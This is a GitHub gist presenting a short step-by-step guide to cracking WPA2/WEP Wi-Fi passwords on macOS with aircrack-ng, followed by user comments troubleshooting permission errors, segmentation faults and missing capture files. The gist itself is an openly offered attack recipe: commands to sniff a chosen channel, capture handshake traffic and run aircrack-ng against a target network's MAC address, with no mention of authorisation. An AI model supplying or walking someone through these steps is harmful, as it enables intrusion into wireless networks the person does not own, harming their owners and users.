Skip to content

Instantly share code, notes, and snippets.

@victorreyesh
Created September 12, 2013 03:36
Show Gist options
  • Save victorreyesh/6532800 to your computer and use it in GitHub Desktop.
Save victorreyesh/6532800 to your computer and use it in GitHub Desktop.
Cracking WPA2 / WEP Wifi / Aircrack 10 seconds guide. For Mac OSX
//Install Macports.
//Install aircrack-ng:
sudo port install aircrack-ng
//Install the latest Xcode, with the Command Line Tools.
//Create the following symlink:
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport
//Figure out which channel you need to sniff:
sudo airport -s
sudo airport en1 sniff [CHANNEL]
//New Terminal Window
aircrack-ng -1 -a 1 -b [TARGET_MAC_ADDRESS] [CAP_FILE]
// Notes: the cap_file will be located in the /tmp/airportSniff*.cap.
@Eastkap
Copy link

Eastkap commented Aug 12, 2018

mac address is the same as bssid @chovy

@Tetsu51718
Copy link

can"t find [CAP_FILE]
pls help

@Tetsu51718
Copy link

$ sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport
ln: /usr/local/bin/airport: File exists
$ aircrack-ng -1 -a 1 -b
-bash: aircrack-ng: command not found
$ brew install aircrack-ng
Warning: aircrack-ng 1.4 is already installed, it's just not linked
You can use brew link aircrack-ng to link this version.
$ brew link aircrack-ng
Linking /usr/local/Cellar/aircrack-ng/1.4...
Error: Could not symlink sbin/airbase-ng
/usr/local/sbin is not writable.

what should do,, pls

@DamonOnYT
Copy link

DamonOnYT commented Nov 18, 2018

sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport

says "ln: /usr/sbin/airport: Operation not permitted"

@DamonOnYT
Copy link

quick google solved it

for anyone w/ the same issue the command is

sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport

@mzychinav
Copy link

MacOS Mojave 10.14.1 failed got the replay "Segmentations Fault 11" message when proceed "airport en0 sniff", anyone got the solution?

@madmike121989
Copy link

MacOS Mojave 10.14.1 failed got the replay "Segmentations Fault 11" message when proceed "airport en0 sniff", anyone got the solution? i'm having the same issue

@fungmen
Copy link

fungmen commented Jan 9, 2019

more easy when i'm installing kali on macbook air, i can scan and crack the handshake more faster beside debugging the OSX ^_^!

@mikediachenko
Copy link

MacOS Mojave 10.14.1 failed got the replay "Segmentations Fault 11" message when proceed "airport en0 sniff", anyone got the solution?

The same stuff.

@shsunmoonlee
Copy link

shsunmoonlee commented Aug 8, 2019

First attempt failed.
➜ Clients airport en0 sniff 4
Could not open device en0 (en0: You don't have permission to capture on that device ((cannot open BPF device) /dev/bpf0: Permission denied)).

Second attempt failed
sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i en1 -w beacon.cap
tcpdump: en1: That device doesn't support monitor mode

@khyanatun
Copy link

$aircrack-ng -1 -a 1 -b "Mac address" "CAP_FILE"
Reading packets, please wait...
Opening "CAP_FILE"
Failed to open "CAP_FILE' : No such file or directory


someone, please help cap file won't open

@SenorReyez
Copy link

You need to define "CAP_FILE" as the path example /path/to/cap_file.cap

@lmancini1
Copy link

what is the path to the cap file I cant find a top folder with airportsniff in it

@Nene020911
Copy link

Reading packets, please wait...
Opening /tmp/airportSniff*.cap
Failed to open '/tmp/airportSniff*.cap' (2): No such file or directory
any help?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment